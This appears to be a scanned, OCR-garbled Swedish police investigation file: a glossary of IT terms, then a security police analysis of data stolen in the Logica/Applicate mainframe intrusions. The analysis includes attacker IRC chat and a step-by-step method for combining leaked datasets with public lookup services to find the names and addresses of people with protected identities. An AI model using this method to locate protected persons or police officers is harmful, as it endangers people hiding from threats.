Portskanning Med hjälp av programvara som t.ex .  Nmap, kan man 
skanna datorer i ett nätverk för att se vilka portar som är 
öppna, dvs vilka tjänster som är igång på respektive 
dator. 

PPA Polisens Person och Adressregister. En version av SPAR 
med ytterligare detaljer endast tillgängliga för polisen. 

Privat nyckel I samband med ett asymmetriskt krypteringssystem, att 
nyckeln av ett nyckelpar som är att hållas hemlig för 
användaren eller programmet. 

PuTTY Putty är ett datorprogram som används som en 
terminalemulatar för att ansluta till andra datorer, 
vanligen Linux- eller Unix-baserade. Vanligast är att 
programmet används för det krypterade SSH-protokollet, 
men även klartextprotokollen Teinet och Riogin stöds 

RACF Resource Access Control Facility. En central databas i 
stordatorn som innehåller användarnamn, lösenord och 
behörigheter för olika användare. 

Raderade filer Vid radering av filer noteras utrymmet som ledigt. Fram 
till dess att området används på nytt och blivit 
överskriven av ny data ligger informationen kvar varför 
hela eller delar av raderade filer går att återskapa. 

Ripe Ripe administrerar tilldelning en av lP adresser regionalt 
i Europa. I andra regioner finns t .ex .  AfriNIC (Afrika) 
och APNIC (Asien) . lP adresserna hanteras i s .k. WHOIS 
databaser vilka är offentliga. 

Sema Group Franskbrittisk IT -koncern som 1 993 köpte lnfodata. 
Företaget köptes 200 l av amerikanska Schlumberger och 

2f3 
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Skärmdum p 

SPAR 

SSH 

stordator 

SY19 

SYS3 

TeamViewer 

Teinet 

Terminal 
emulator 

3270 

Tidszoner 

såldes i januari 2004 till Atos Origin. 

En skärmdump är en avfotografering av det som syns på 
skärmen. Skärmdumpen sparas som en bildfiL 

Statens Person- och. Adressregister. En databas med 
personuppgifter om alla bosatta i Sverige, i SPAR finns 
även skyddadelhemliga identiteter registrerade. 

Secure Shell . Ett nätverksprotokoll som används för 
interaktiv fjärråtkomst SSH använder publika och 
privata krypteringsnycklar för säkerkommunikation. På 
serversidan finns filer som "authorized_keys " vilka 
innehåller den publika nyckeln. På klientsidan, finns filer 
som "id_dsa" vilka innehåller den privata nyckeln. 

En stordator är en typ av dator som har högre kapacitet 
än en persondator och vanligen hanteras via ett antal 
datorterminaler. 

IBM:s  stordatorer är byggda för att kunna köra virtuella 
maskiner. IBM:s  stordatorsystem heter System z och kör 
vanligtvis z/OS eller z!Linux. 

Namnet på en av z/OS-system som körs i en LPAR om 
Logicas stordator. Detta system används endast för 
Applicate. 

SY19  är benämns även SYS 19 .  

Ett z/OS-system som körs i en LP AR på  Logicas 
'stordator. Detta system är Logicas och används av 
Applicate och andra kunder. 

Team Viewer är ett datorprogram som bland annat 
används för att fjärrstyra andra datorer, skärmdelning och 
för att föra över filer mellan datorer. 

Teinet är ett nätverksprotokoll för Internet främst avsett 
för textbaserad inloggning på olika datorer, men också 
för annan textbaserad kommunikation, till exempel 
mellan automatiserade processer. 

Teinet använder vid textbaserad inloggning normalt 
TCP-port 23, som reserverats för ändamålet. Denna 
funktion har till stor del övertagits av SSH, som skapar 
en krypterad förbindelse. 

3270 eller IBM 3270 är en serie terminaler och ett 
kommunikationsgränssnitt mot stordatorer. 

Förutom rena terminaler finns det emulatmer som kan 
kommunicera via 3270, Teinet 3270 (tn3270) är till 
exempel en terminalemulatar som kommunicerar 3270 
över TCP/IP. 

En tidszon är ett område på jorden med samma normaltid 
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GMT 

UTC 

CET 

ICT 

TN3270 

True Crypt 

Ubuntu 

Ubuntu One 

U nix 

Viloläge 

WAHS006 

WC3270 

W ebbhotell 

Greenwich Mean Time, Greenwich Mean Solar Time, 
GMT, avser ursprungligen medelsoltiden vid 
observatoriet i Greenwich i England. 

Koordinerad universell tid (UTC, 
kompromissförkortning mellan engelska Coordinated 
Universal Time och franska temps universel coordonne) 
är referens för exakta tidsangivelser världen över. 

UTC ersätter den tidigare använda Greenwich Mean 
Time, GMT. 

Centraleuropeisk tid eller Central European Time 
förkortat CET, eller MET ( "medeleuropeisk tid") ,  den 
tidszon som används i många europeiska länder. 

Indokina tid eller Indo China Time förkortat ICT, ") , den 
tidszon som används i många asiatiska länder, bland 
annat Kambodja. 

Se 3270 

True Crypt är en programvara som används för att 
kryptera hela eller delar av lagringsytan på ett 
lagringsmedium. Det är även möjligt att skapa krypterade 
containrar. 

Ubuntu är ett fritt operativsystem baserat på 
GNU/linuxkärnan. Bakom Ubuntu står företaget 
Canonical Ltd. 

Ubuntu One är en internettjänst som erbjuder 
lagringsutrymme Tjänsten drivs av företaget Canonical 
Ltd och finns både som gratis- och som betaltjänst. 

U nix är en grupp operativsystem som härstammar från 
ett system som utvecklades på A T &T Bell Labs i USA 
under 1 960- och 1 970-talet. 

Viloläge är ett strömsparande läge för en dator som inte 
används . När man sätter en dator i viloläge sparar man 
alla data till hårddisken. När man återupptar datorn från 
viloläge kommer den att vara exakt så som den var när 
man satte den i viloläge. 

Användamamnet i RACF och på stordatorsystem SY19  
för användaren 
Monique Wadsted. Detta konto kapades och missbrukas 
av gärningsmannen. Wadsted är ett svenskt advokat som 
är känd för sin del av Pirate B a y-rättegången. 

Se 3270 

Ett webbhotell är en tjänst som möjliggör för den som 
inte vill upprätthålla en egen offentlig webbserver att 
publicera sig på World Wide We b 
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W ebbläsare 

Windows 

händelseloggar 

register 

VirtualBox 

WM-data 

Z/OS 

W ebbläsare (efter engelska web browser) är program för 
att hämta, tolka och återge dokument kodade i HTML 
eller XHTML som lagts upp på webbservrar på Internet. 

Microsoft Windows är ett samlingsnamn för flera 
familjer av operativsystem med mycket bred spridning på 
persondatorer. Det är skapat av Microsoft och är 
företagets flaggskepp, tillsammans med Office
produkterna. Namnet Windows (fönster) syftar just på 
systemets grafiska användargränssnitt med 
fönsterhantering. 

Händelseloggar (efter engelska event logs) är en 
komponent i Microsoft Windows som ger 
administratörer möjlighet att spåra händelser och 
aktiviteter i operativsystemet. 

Windows Register (efter engelska Windows Registry) är 
en databas som lagrar konfiguration och inställningar för 
operativsystemet. 

VirtualBox är en virtualiseringsmjukvara som möjliggör 
att man kan installera ytterligare operativsystem i egna 
virtuella miljöer. 

Svenskt företag som tillhandahöll helhetslösningar inom 
framför allt tre !T-relaterade områden: bransch, specialist 
och infrastruktur. 

2005 förvärvar företaget Atos Origins Svenska och 
Norska verksamheten. Där då 

Företaget bytte 2008 namn till Logica och tillhör sedan 
20 1 2  

z/OS är ett operativsystem från IBM för stordatorer, 
System z. z!OS kan förenklat beskrivas som två 
operativsystem i ett. Det består dels av MVS ,  den del av 
operativsystemet som upprätthåller kompatibiliteten för 
applikationer skrivna för detta operativsystem, dels av 
UNIX System Services (USS) .  De två 
operativsystemdelarna har blivit tämligen hårt 
integrerade med varandra och administrationen av 
operativsystemet z/OS kräver kompetens i både MVS 
som USS .  
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säkerhetspol isens analys avseende stu len information vid 
dataintrången mot Log ica och Appl icate 

Bakgrund 

2 1 7 
1 ( 1 3) 

Ang ripare n  har u nder  de aktue l la  datai ntrången mot Log ica och Appl icate kom m it öve r 
mycket stora m ängder i nfo rmatio n  t i l l hörande f lera mynd ighete r, företag och 
o rgan isat ioner .  Målsägarna i ärendet har gjort s ina  respektive 
skadakonsekvensbeskrivn i ngar (fo rtsättn ingsvis be nämns skad ekansekvens m ed 
konsekvens) av i ntrången . E n  problemat ik med enski lda konsekve nsbeskrivn i ngar är att de 
i nte ser t i l l  he lhetsb i lden avseende möj l iga konsekvenser  med den totala m ängd 
i nfo rmatio n  som angri paren  kom m it öve r.  Den här analysen belyser f lera exe m pel  på 
ko nsekve nser som är möj l iga när  stu len d ata från f lera hål l  sätts sam man . Fortsättn ingsvis 
kom m e r  beg reppet stu len att användas synonymt när det gä l ler  o lovl igen utkopierad data . 
Begreppet data används också synonymt med beg reppet i nfo rm ation . 

säkerhetspo l isen har under  utred n i ngen haft e n  stöttande ro l l  i föru ndersökn i ngen samt 
äve n försökt att överbl icka de sam mantag n a  ko nsekvenserna med an led n i ng av den sto ra 
m ängd data som angriparen  kom m it över .  Vi har  i utred n i ngen även ku n n at konstate ra att 
det är f ler  som är d rabbade ,  både i nom Sverige och utom lands,  än de som är målsägande i 
ärendet.  

Benäm n i ngen "angriparen"  i texten ska tol kas som en e l ler  f lera ang ripare . 

Angripen infrastruktur 

De datore r som ham nat i fokus för ang reppen är så kal lade sto rdato rer ( m ai nframes) där 
angri pare n  sökt och lyckats f i n n a  sårbarhete r som t id igare i nte varit kända.  Angri paren  har 
u ppvisat stor målmedvete nhet och på ett mycket avancerat sätt lyckats utnyttja 
sårbarhete rna för o l i ka ändamål . Företaget I B M ,  som bär ansvaret för utveckl i ngen av 
operativsystemet på dessa sto rdato re r, har  efter visst d röjsmål engage rat s ig starkt för att 
kom m a  ti l l rätta med de utnyttjade sårbarhete rn a.  Expe rter från I B M  i USA har  f lug its i n  och 
i nc identerna har engagerat ett sto rt antal perso ner  inom o rgan isationen och h aft mycket 
hög pr io ritet i nte rnt inom I BM .  

CVS S ,  Com m o n  Vul nerab i l ity Scori ng System ,  ä r  e n  a l l mänt vede rtagen metod för att 
g radera sårbarheter i no m  IT .  Sårbarhete n bedöms beroende på h u r  pass al lvarl i g  den 
fu n n a  sårbarheten är för syste met.  G raderi ngen kan vara me l lan  0- 1  O poäng där  i nterval let 
0-3 . 9  poäng klassas so m m i nd re al lvarl i g ,  4 .0 -6 .9  poäng som al lvarl ig  och 7 . 0- 1 0 . 0  poäng 
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betraktas som e n  krit isk sårbarhet. E n  av sårbarheterna som angripare n  har fu n n it och 
utnyttjat i angreppen mot ovanståe nde m ainframes har t i l lde lats poängen 1 0 . 0  (CVE-20 1 2-
5955) . I B M :s egna bedö m n i ngar har  fö rstås legat t i l l  g ru nd för den s lut l iga poäng e n .  
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In ledning - kombination av uppg ifter 

2 1 9  
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Nedan redovisas n åg ra exe m pe l  på tän kbara kombinat ioner e l ler  pussel  som angripare n  
kan tän kas lägga m ed a l l  data s o m  stu l its . l texte n används fö retagsnamnet Log ica, m e n  
företaget har n u m e ra bytt nam n ti l l  CG I .  På sam m a  sätt näm ns i texten namnet Appl icate , 
ege ntl igen I ntadata Appl icate AB,  ett fö retag som n u m era bytt n am n  t i l l  B isnode 
I nform ation  AB. I nför upprättandet av den här analysen gjordes ett övervägande om 
doku m entet sku l le  ku nna betraktas som en instru ktio n  t i l l  dem som kom m it öve r uthämtad 
data, men säkerhetspo l isen har gjort bedö m n i ngen att det är vikt igt att be lysa 
al lvarl ighetsgraden i de angrepp som har skett och om vi kan kom m a  fram t i l l  
nedanståe nde s l utsatser när det  gä l ler  att sam manstäl la  i nformat ion som stu l its,  så kan 
någon annan göra det också. l de fal l det föreko m m e r  pe rson u ppg ifter i texten har dessa 
avide ntif ierats m ed "x" ,  men de föreko m m e r  i sin he l het i b i lagan . 

Ett problem som utred n i ngen brottats m ed är den mycket stora m ängd data som kopie rats 
ut me l lan åre n  2 0 1 0-20 1 2 .  Ett kon staterande är att vi i nte har ku n n at f i n n a  a l l  data som 
kopierats ut ,  något som beror  på f lera omständ igheter. En sådan omständ ighet är att det 
i nte gjordes någon pol isan mälan vid i ntrången 201 O och 20 1 1 och den i nformation  som då 
stals ,  f inns t i l l  stora delar i nte längre kvar i syste men och har i nte gått att f inna i beslagtaget 
m aterial . Däremot går det att konstatera att i nformationen gått ut t i l l  ang riparen genom att 
granska loggarna från angreppe n .  En annan omständ ighet är att mycket data har 
ko m pri merats på p lats i n n an det kopierats ut .  Utred n i ngsg ru ppen h ar i nte ku n n at f i nna  
samtl iga kompri m e rade f i le r  i beslagtaget m aterial  och  de f inns  i nte he l le r  kvar i de 
angripna system e n .  Men även här  kan man konstatera att f i lerna g ick ut t i l l  ang ripare n  
genom att g ranska loggarn a från sto rdatorm i ljön (se loggar från Log icas FTP-server i 
föru ndersökn i ngsprotoko l let) . l de fal l  vi har  h aft möj l ighet ,  har  fö ru ndersökn i ngsgruppen 
begärt in m aterial  i efterhand från Log ica och Appl icate som vi vet stu l its , men som i nte 
återfunn its i beslagtaget m ateria l . Detta fö r att ku n n a  göra en så real ist isk u ppskattn ing  av 
ko nsekvenserna som möj l igt .  l dessa fal l ges en h änvisn i ng ti l l  t id p u n kt då i nform ationen 
hämtades ut .  

Ytterl igare ett problem har varit logg n i ngen i stordatorm i ljö n .  M isslyckade försök loggas 
ofta, m edan lyckade försök i nte loggas i sam m a  utsträckn i n g .  Ett exem pe l  är FTP-servern 1 
där lyckade i n logg n i ngar i nte loggas vi lket gör det svårare att u pptäcka angripare n  om 
ang riparen från bö rjan gör e n  lyckad pålogg n i n g .  

l texte n n ä m n s  beg reppet dataset Ett dataset är stordato rns sätt att lag ra f i ler  vi lket 
n ärmast kan betraktas som ett f i l - e l le r  katalog n a m n  i trad it ione l l  IT- m i ljö .  Ofta används ett 
prefix för att gruppera datasetens ti l l hörighet .  Nam net D61  O . XXXX. XXXX visar t i l l  exem pe l  
att datasetet ti l l hör  Appl icate , då just prefixet D 6 1  O är Appl icates h uvudprefix. 

1 FrP står för Pile Transfer Protocol och FrP-servem avser en server för filöverföring 
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Det f i nns  o l i ka n ivåe r av skyddade person u ppg ifter i Sver ige.  Man bru kar i korthet ski lja 
mel lan sekretessmarkeri n g ,  kvarskrivn i n g  och f ingerade perso n uppg ifter.  
Sekretessmarke ri n g ,  som är den lägsta n ivån ,  ska ses som en varn i ngss ignal  så att en 
nogg ra n n  prövn i n g  görs i n nan u ppgifte rna läm n as ut .  Det är vikt igt att förstå att 
sekretessm arker ingen d istribueras t i l l  and ra myndigheter t i l lsam mans med övriga u ppg ifter 
om perso n e n .  Detta resu lterar i att de som har t i l lgång t i l l  S PAR 2 även har t i l lgång t i l l  
nam n- o c h  ad ressu ppg ifte rna fö r det perso n n u m mer  s o m  in nehar sekretessm arker inge n .  
Utöve r d e n n a  d istr ibution  a v  person- och ad ressu ppg ifter t i l l  andra mynd igheter har 
i nd ividen fö rstås själv möj l ig h et att delge s ina u ppg ifte r t i l l  företag och organ isationer. 
Omprövn i n g  av sekretessm arker ing ske r  i rege l  varje år.  

l s l utet av mars 20 1 2  läggs det av angr i pare n  upp e n  l ista m ed 9090 perso n n u m m e r  på 
webbplatsen Pastebi n .  Samtl iga av dessa perso n n u m m er har det gemensamt att de vid en 
t id igare t idpunkt i n n ehaft sekretessm arke ri n g .  M ajoriteten av perso n n u m re n  var dock i nte 
vid t i l l fä l let för datai ntrången aktue l la  för skyddad identitet . skatteverket vidtog ,  u r  s itt 
perspektiv, åtgärder  för de som ku nde tän kas beröras . Dessa åtgärder beskrivs i 
Skatteverkets egen pro m emor ia ,  se b i laga B i föru ndersökn i ngsprotokol let 

Ang ripare n  har visat ett särski lt i ntresse för skyddade perso n u ppg ifter.  Dels tyder  den 
publ icerade l istan på Pasteb in  på detta och dels f i nns  det  sådana antyd n i ngar i 
ch attko nve rsat ioner .  Följande är ett utd rag u r  e n  chat på I RC3 . Chatten är från 20 1 2-03-29 . 
Tidsstämpel  och kl iente ns I D  är bo rttaget u r  n edanstående exe m pe l .  Chatte n påträffades i 
det mate rial  som i n h ämtades från Passag e n .  I ntressanta rader h ar markerats med fet sti l .  

<d i ROX_> h a r  c a  40gb databasdata 
<hapan> n ice : )  
<d i ROX_> vet i nte r ikt igt vad man sitte r på 
<d i ROX_> :p  
<hapan> ko l la  efte r l ite saudi  l FO I i nfo ; )  
<di ROX_> har dock en fi l taktist med a l la  skyddade identiteter 
<diROX_> a l la personnumer 
<di ROX_> men inga namn kopplade 
<di ROX_> E484.DAF1 496.SKYDDADE. R EADREAD 
<d i ROX_> -rw- r-- r-- 1 l u ciddream lucidd ream 1 349598 20 1 1 -03-20 1 1  :28 
E484. DAF1 496 . S KYD DAD E . R EA D R EAD 
<hapan> jo men det  f i nns  väl på pastebi n också? 
<d i ROX_> m an borde göra e n  sto r sökbar d atabas av al l t  man har 

2 Statens personadressregister 
3 Internet Relay Chat 
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Ytter l igare ett utd rag från m ater ia let från sam ma datu m som den första, visar också på 
i ntresse : 

<d i ROX> det är ju  inga namn kopplade ti l l  personnummrena 

22 1 
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<d i ROX> men testade söka på dom emot skatleeverkets databas så jag sku l le kunna 
göra en med namn etc 
<d i ROX> har ju 40 gb databaser iaf 

Ut ifrån l istan på perso n n u m m e r  som lades ut på Pastebi n är det ett öve rko m l igt jobb att 
göra sökn i ngar i pub l ika tjänster på I nternet på dessa perso n n u m mer och kontro l le ra v i lka 
perso n n u m mer man i nte e rhål ler  n ågon ad ress på. P u b l i ka tjänste r prese nterar resu ltatet 
av en sökn i ng på en skyddad ident itet på o l ika sätt och genom detta förfarande kan man 
då sl uta s ig t i l l  vi l ka perso n n u m m e r  som i dagsläget fortfarande har e n  skyddad identitet. 
Exe m pel  på detta följer  längre n ed i texte n .  

Ett exempel  p å  i nformatio n  som stu l its ä r  dataset LLXX.J N . P2 1  07 1 9 . S PA R . M KO D  se 
FTP4- Iog i d ig ital b i laga i föru ndersökn i ngsprotoko l let 
Detta dataset kop ierades ut av ang riparen 201 0-0 1 -30 och är e n l igt App l icate e n  så kal lad 
m e l lan lag ri ngsf i l  f rån S PAR.  Just detta dataset skapades 2008- 1 0 - 1 5 och i n nehål ler  c i rka 
en m i ljon person- och ad ressuppg ifter .  Även om dessa u ppg ifter var fö r s ig kan betraktas 
som offentl ig hand l i n g  är den d ig itala sam m anstäl l n i ngen på detta sätt skyddsvärd . E n l igt 
u p pg ift från skatteverket sku l le  ett sådant stort uttag , m ed hänvis n i n g  t i l l  offentl ig  hand l i n g ,  
i nte godkän nas eftersom det d ig itala fo rmatet möj l iggör  fö r "automatisk databehand l i ng"  
v i lket det  en l igt skatteverket i nte f i nns  lagstöd för  t i l l  ski l l n ad mot uttag av enstaka 
u ppg ifte r.  Det är vikt igt att förstå att även om ad ressen oftast är den u ppg ift som betraktas 
som m est skyddsvärd hos en person m ed skyddad identitet, så kan kopp l i ngen mel lan  
n a m n  och perso n n u m m e r  också vara något perso nen ö nskar skydda.  

När ett utd rag från S PAR görs hos Appl icate fö r t .ex .  ett reklam utskick, f i l treras autom atiskt 
de  med sekretessmarker ing bort .  Men för att skapa utd raget görs ofta m atch n i ngar mot 
fö retagets eget ku ndu nderlag . Ett u nderlag som kan i n nehål la  perso n u ppg ifte r t i l l  perso ner  
med skyddad ide ntitet . Detta gör  att m an kan f inna personer  m ed skyddade 
perso n u ppg ifte r o m  man sam manstäl ler  och söker  i det uthämtade m ater ialet .  
säkerhetspo l isen har gjo rt n åg ra tester för att se om det ut ifrån det stu l n a  m ater ialet går att 
f i n n a  personer  som i dagsläget har  sekretessmarke ri ng och d rag it s lutsatsen att det är 
möj l igt .  De funna uppg ifterna har  också verif ierats av skatteverket. 

N edan visas ett exe mpel  i fyra steg ,  h u r  det kan se ut  om man lägger ett pussel fö r att få 
fram skyddade personu ppg ifte r.  Detta är ett sätt det kan ske på, m an kan förutom detta 
äve n tänka sig andra sätt . Perso n u ppg ifterna och den aktue l la  uthämtade f i len  har vi i detta 
fal l avidentif ie rat, men de fu l lständ iga u ppg ifterna som avses, f i nns  i b i laga 1 .  

4 Pile Transfer Protocol, protokoll för överföring av text och binära filer 
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Kart lägg n i ngen består av fyra steg som först beskrivs i korthet,  därefter mer  detaljerat : 

1 ) Ta reda på om ett visst perso n n u m m e r  fo rtfarande har sekretessm arkeri n g .  

2) Geno mför en sökn i ng i utkopierat material efte r möj l iga ad resse r m ed utgångspu n kt från 
perso n n u m ret. 

3) Geno mfö r  en sökn i ng i utkopierat material efter en kopp l ing  mot personnamn m ed 
utgångsp u n kt från perso n n u m ret . 

4) Verif ie ra mot off ic ie l la u ppg ifte r om lägenhets n u m mer h u ruvida det verkar stä m m a  m ed 
uthämtad i nformation ovan . 

1 ) 
Av l istan som publ icerades på webbplatsen Pastebi n anges ti l l  exe m pel  perso n n u m m e r :  
1 9xxxx09xxx2 
Vi bö rjar m ed att göra en sökn i ng på Bolagsve rkets webbplats efter fö retagsfakta på 
perso n n u m ret : 

Sök företagsfakta 
Köp direkt och betala med kort: 

• Sök i rutan. 
• Du får tillgång till produkten via e�post inom några minuter. 
• Produkten .är nedladdningsbar i 48 timmar. 

f Fö ret ag ] f Person ]c_ ____________ _ 

Namn el l er perso n n u m mer 
l l 9xxxx09xxx 2 

Exempel på produkter: registreringsbevis, årsredovisning och bolagsordning. 

Svaret vi e rhål le r  ses i b i lden n edan . Note ra att vi erhål l it 1 träff medan Bolagsverket i nte 
presente rar nam net på perso n e n .  Detta tyder  på att perso n n u m ret faktiskt f i nns  och att 
perso nen i dagsläget fortfarande h ar skyddade perso n u ppg ifter .  
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Sök--------------------------------------� 

O Företag Person 
Namn e l ler personnummer  
l l9xxxx09xxx2 

sökresultat 
Sökning på person 
CG:amnuppift sakna:§) 

i§ 9- 2 

2) 

.. Din kundvagn är tom 
Sök information om 
företag i Europa 
Logga ln 

223 
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Efter detta konstaterande genomfö rs e n  sökn ing med person n u m ret i f i len  
LLXX. HW . FAST.YYYYY.STH LM som kopie rades ut v id  angreppet 20 1 0-0 1 -3 1 , se FTP5-
Iog i d ig ital b i laga i föru ndersökn i ngsprotoko l let Detta dataset skapades 2009-09- 1 1 och är 
ett ku ndregister ti l l hörande ett specif ikt bolag , se b i laga 1 .  Res u ltatet av sökn i ngen visar:  

xxxxxxxx x 2TR 
1 xx x8 xxxxx 

Vi h ittar dock i nget för- och efte rnam n då detta dataset endast i n nehål ler  perso n n u m mer 
och ad ress.  

3) 
Fö r att ta reda på nam n et t i l l  perso nen kan vi söka på perso n n u m ret i de dataset som 
åte rf inns  i beslagtaget m ater ia l . l detta fal l f i nner  vi nam net t i l l  personen i f i len  M KO D FON 
som åte rf i nns  i materi al i n h ämtat från U b u ntuOne.  säke rhetspo l isens bedöm n ing  är att det 
fu l lständ iga nam net på detta dataset är LLXX.J N . P2 1  07 1 9 . S PA R . M KO D FON vi lket 
kopierades ut av angri paren 2 0 1 0-0 1 -30 . Datasetet är skapat 2008- 1 0- 1 4 och är e n  
samkörn i n g  m ed S PAR-reg istret o c h  i n nehå l ler  i nga skyddade pe rso n u ppg ifte r. Men d å  
datasetet skapades i n nan personen h ade skyddad identitet så h ittar v i  även perso nens 
n am n ,  se b i laga 1 ,  men m ed e n  äld re ad ress.  

4) 
För att ytter l igare verif iera den fö rst fu n n a  ad resse n kan vi använda oss av 
lägen hets n u m mer.  Lägen hets n u m m e r  är n ågot som n u m e ra i ngår i fol kbokfö ri ngsregistret 
och som också presenteras då man gör en sökn i n g  på en ad ress på t ex webbplatse n 
www. b i rthday. se 
Om vi skriver  in den f u n n a  ad resse n xxxxxxxx x på ovan nämnda webbplats och sorterar ut 
lägenhets n u m ren kan vi observe ra nedanståe nde : 

5 File Transfer Protocol, protokoll för överföring av text och binära filer 
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1 1 0 1 1 20 1  1 30 1  1 40 1  1 50 1  1 60 1  

Saknas 1 202 1 302 1 402 1 502 1 602 

1 1 03 1 203 saknas 1 403 1 503 1 603 

1 1 04 1 204 1 304 1 404 saknas 1 604 

1 1 05 1 205 1 305 1 405 1 505 1 605 

1 1 06 saknas (2TR) 1 306 1 406 1 506 1 606 

Lägen hets n u m ret är  fyrs iffr igt och e ntreplanet sätts t i l l  1 O .  Därefte r n u m re ras ovan l iggandr 
vån i ngsplan som 1 1 ,  1 2  o . s .v .  Att det fattas lägenhetsnum mer kan bero på f ler  o rsake r, 
t .ex .  att man s larvat och i nte rapporte rat in n u m ret e l le r  att fo lkbokföri ngen av annan o rsak 
saknar uppg ift om lägenhetsn u m ret Vi  vet sedan t id igare funna u ppg ifte r att perso nen m ed 
sekretessm arker ing bor på 2 trappor och att de pub l ika uppg ifterna som www. b i rthday.se 
prese nterar i nte får i n nehå l la  lägenhets n u m mer  t i l l  personer  med skyddade 
perso n u ppgifter .  Av detta kan vi d ra s lutsatsen att vi är på rätt spår och ovanstående f u n n a  
ad ress h a r  bekräftats s o m  ko rrekt a v  skatteverket. 

Samm anfattn ingsvis h ar vi nu kopplat det skyddade perso n n u m ret t i l l  både ett namn och 
en aktue l l  ad ress genom att utnyttja stu len i nfo rm atio n .  Och m ed hjä lp av pub l ika tjänster 
h ar vi verif ierat att våra s lutsatser tro l igtvis  är korrekta.  

* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *  

Det är känt att ang r ipare n  har ku nnat göra s lag n i ngar  på bland annat perso n n u m m e r  
g e n o m  tjänste r på webbplatsen l nfoTorg . E n  användare m ed be hörighet att s e  skyddade 
person uppg ifter ko m m e r  äve n att ku n n a  s lå på dessa perso n n u m mer .  E n l igt Appl icate har 
man h aft extra bevakn i n g  på just dessa användarnam n och i nga sådana s lag n i ngar ska h 
skett m ed ett lyckat resu ltat . Utred n i ngsgruppen har ku n n at ko nstatera att m an försökt 
söka på en viss specif ik  person som man vet har skyddade perso n u ppg ifte r,  något som 
bland annat kan ses i f i len "po l is . log" .  F i len är e n  loggf i l som visar term i na laccess mot 
po l isens P PA-syste m ,  i nte via I ntaTo rgs webbg ränssn itt. Se b i laga 20 1 2-020 1 - BG25023-
26 . 1 8 . po l is . log . Men i de  fal l man lyckats observe ra fö rsöke n ,  så äve n i po l i s . log-f i len , har 
angri pare n  i nte lyckats identif iera ad resse n t i l l  perso n e n  beroende på att man använt 
användarnam n med oti l l räckl ig be hör ighet .  Ytterl igare ett exe m pel  på att man haft ett 
särski lt i ntresse fö r denna person m ed skyddad ide ntitet är f i len  u3 . txt från beslag 20 1 2-
020 1 - BG25023-26 b i laga 1 9 . F i len  är skapad av angri pare n  och återf i n n s  i s i n  he l het i 
b i laga 2 .  l f i len  f i n n e r  man användarna m n  och and ra u ppg ifte r från RAC F-database n 
t i l l h ö rande just d e n n a  specif ika person m ed skyddad identitet. 

l 
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I B M :s stordatorm i ljö kör e n  programvara som brukar benäm nas RAC F 6( RACF-databas) , 
vi lken bland an nat styr användarnas åtkomstkontro l l  t i l l  f i ler  och resurser.  De tjänste r som 
Appl icate/ l nfoTorg använder s ig utav använder s ig också i nd i rekt av RAC F,  men då de har 
specif ika behov har man en egen databas som be nämns PI  ( Pålogg n i n g  l nfotorg ) .  P I 
databasen specif icerar t i l l  exe m pel  vi lka användare som har rätt att nyttja specif i ka tjänster 
på I ntaTo rg och vi lket i n nehål l  man får ta de l  utav. I n nehål let i P I -databasen speg las dock 
mot RAC F-databasen och det är ett faktu m att ang riparen har lyckats stjä la åtm i nsto ne den 
specif ika RAC F-databasen från Log ica. 

Pol isens perso n- och ad ressregister,  P PA, kan ses som en utökn i n g  av S PAR,  som 
kompletterats m ed ytter l igare fo lkbokfö r ingsuppg ifte r för po l isens syfte . När  po l isen 
använder P PA körs också detta v ia  App l icate mot e n  utökn ing  av S PAR-database n .  Varje 
sökn ing  en po l is  gör  i P PA är förenat med en kostnad för RPS som i s l utänden betalar  t i l l  
Appl icate . Då man önskar h a  spårbarhet i faktu reri ngsunderlag mot RPS har man fö rt i n  ett 
stort antal po l isers fö r- och efte rnamn samt arbetsstä l le  i P I -databasen .  Eftersom P I 
databasens i n nehål l  speg las m ot RAC F-database n  h a r  också denna i nfo rmat ion stu l its . 
Det är t i l l räckl igt detaljerat fö r att det ska utgöra e n  r isk fö r vissa pol isers identitet och 
tjänst .  Nedan följer  någ ra exe m pel  på de uppg ifte r om pol isers arbetsstäl le  som ang r iparen 
kom m it över. säkerhetspo l isen har valt att endast redovisa någ ra exempel  på i n ne h ål let . 
Totalt rör det s ig om m i nst ci rka 1 500 arbetsstäl len/g ru ppe ri ngar .  F i len  som i n nehå l ler  
g ru pper ingarna heter pri m .gz och påträffades i den  krypte rade conta iner  på beslag 20 1 2-
020 1 -BG25023-26 .  Ti l l  dessa g ru pper kan vi också således koppla personnam n .  
säkerhetspol isen har gjo rt någ ra stickprov som verif ie rats av både säke rhetspo l isens egen 
perso nal och Anna Björkegre n  på R ikskri m i na lpo l ise n .  Totalt rör det s ig o m  m i nst 20000 
pol iser som vi kan koppla på detta sätt . 

RKP/U/S 
V ÄSTE RO RTS P M D  
V ÄSTE RO RT 30KJ 
Solna Väste ro rt 
Sam bandscentrale n  
RKP/O P E  STH LM 
Operativa Avd 
G ränspo l isavd . 
LKP KUT 
TRAFI KPOL i s  
RKP 
RPS 
C I TY P M D  
Spa n i ngscentr 
LKP/S PAN R 
S PAN N O R R KÖ P I NG 
Span R 
B E D R  R 
NARKOT I KA 

6 Resource Access Control Facility 
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Det f i nns  i nga perso n n u m m e r  reg istre rade på po l isanvändarna ,  men med ett n ågorl u nda 
ovan l igt för- e l ler  efte rnam n e l ler  vetskap om geog raf iskt arbetsstäl le ,  r ingar man snart in  
rätt person och kan från pub l ika tjänster ta reda på perso n n u m mer  och ad ress.  N ågot som 
man därefte r kan använda för att t i l l  exe m pel  se om den aktue l la  po l isen har några 
obetalda sku lder ( leta i data t i l l h ö rande Kronofogdemynd igheten )  e l ler  skicka n ågot per 
post t i l l  den aktue l la  pol ise n .  Då angri pare n även har knäckt de lösenord som varit 
kopplade t i l l  dessa användare f inns  r iske n ,  i de fal l  användaren själv valt lösenord ,  att 
angri pare n  även ku n n at läsa vissa po l isers privata m ej l  (t .ex. webbmej l )  i de fal l de har 
återanvänt sam ma lösenord privat . Sam m a  sak gäl ler  fö rstås fö r andra ku nder hos 
l nfoTorg , t ex domare , åklagare och advokater o m  deras lösenord från I nteTorg har 
åte ranvänts n ågon annanstans .  Dessa lösenord är också knäckta. 

Utöve r detta har  även äldre faktu re ri ngsu nderlag för po l isens gjo rda slag n i ngar  kopierats ut 
och med dessa även de objekt som po l isen s lag it på, se t i l l  exem pel  dataset 
E487. DAF 1 492 . UT D RAG .JAN2008. DAG30 . R EA D R EAD som åte rf i nns  i i n hämtat material  
från U b u ntuOne.  An led n i ngen t i l l  att App l icate fört u nderlag på denna detalj n ivå, är  att man 
